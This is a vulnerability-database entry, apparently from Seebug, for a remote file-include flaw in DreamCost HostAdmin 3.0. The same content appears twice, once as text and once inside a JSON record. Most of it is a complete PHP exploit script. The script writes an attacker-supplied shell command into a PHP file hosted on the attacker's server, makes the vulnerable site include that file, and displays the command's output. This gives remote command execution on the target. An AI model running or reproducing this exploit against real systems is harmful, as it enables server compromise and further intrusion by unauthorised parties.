DreamCost HostAdmin 3.0 Index.PHP Remote File Include Vulnerability
2014-07-01T00:00:00
ID SSV:80855 Type seebug Reporter Root Modified 2014-07-01T00:00:00
Description
No description provided by source.
source: http://www.securityfocus.com/bid/16682/info
HostAdmin is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
<?php
/*
HostAdmin Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url: http://www.xorcrew.net/ReZEN
*/
$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];
$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";
if (!isset($_POST['submit']))
{
echo $form;
}else{
$file = fopen ("test.txt", "w+");
fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);
$file = fopen ($turl.$hurl, "r");
if (!$file) {
echo "<p>Unable to get output.\n";
exit;
}
echo $form;
while (!feof ($file)) {
$line .= fgets ($file, 1024)."<br>";
}
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;
}
?>
{"lastseen": "2017-11-19T16:50:46", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2017-11-19T16:50:46", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T16:50:46", "rev": 2}, "vulnersScore": -0.2}, "href": "https://www.seebug.org/vuldb/ssvid-80855", "references": [], "enchantments_done": [], "id": "SSV:80855", "title": "DreamCost HostAdmin 3.0 Index.PHP Remote File Include Vulnerability", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 2, "sourceData": "\n source: http://www.securityfocus.com/bid/16682/info\r\n\r\nHostAdmin is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.\r\n\r\nAn attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.\r\n\r\n<?php\r\n/*\r\nHostAdmin Remote File Inclusion Exploit c0ded by ReZEN\r\nSh0uts: xorcrew.net, ajax, gml, #subterrain, My gf\r\nurl: http://www.xorcrew.net/ReZEN\r\n*/\r\n\r\n$cmd = $_POST["cmd"];\r\n$turl = $_POST["turl"];\r\n$hurl = $_POST["hurl"];\r\n\r\n$form= "<form method=\\"post\\" action=\\"".$PHP_SELF."\\">"\r\n ."turl:<br><input type=\\"text\\" name=\\"turl\\" size=\\"90\\" value=\\"".$turl."\\"><br>"\r\n ."hurl:<br><input type=\\"text\\" name=\\"hurl\\" size=\\"90\\" value=\\"".$hurl."\\"><br>"\r\n ."cmd:<br><input type=\\"text\\" name=\\"cmd\\" size=\\"90\\" value=\\"".$cmd."\\"><br>"\r\n ."<input type=\\"submit\\" value=\\"Submit\\" name=\\"submit\\">"\r\n ."</form><HR WIDTH=\\"650\\" ALIGN=\\"LEFT\\">";\r\n\r\nif (!isset($_POST['submit'])) \r\n{\r\n\r\necho $form;\r\n\r\n}else{\r\n\r\n$file = fopen ("test.txt", "w+");\r\n\r\nfwrite($file, "<?php system(\\"echo ++BEGIN++\\"); system(\\"".$cmd."\\"); \r\nsystem(\\"echo ++END++\\"); ?>");\r\nfclose($file);\r\n\r\n$file = fopen ($turl.$hurl, "r");\r\nif (!$file) {\r\n echo "<p>Unable to get output.\\n";\r\n exit;\r\n}\r\n\r\necho $form;\r\n\r\nwhile (!feof ($file)) {\r\n $line .= fgets ($file, 1024)."<br>";\r\n }\r\n$tpos1 = strpos($line, "++BEGIN++");\r\n$tpos2 = strpos($line, "++END++");\r\n$tpos1 = $tpos1+strlen("++BEGIN++");\r\n$tpos2 = $tpos2-$tpos1;\r\n$output = substr($line, $tpos1, $tpos2);\r\necho $output;\r\n\r\n}\r\n?>\r\n\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-80855", "type": "seebug"}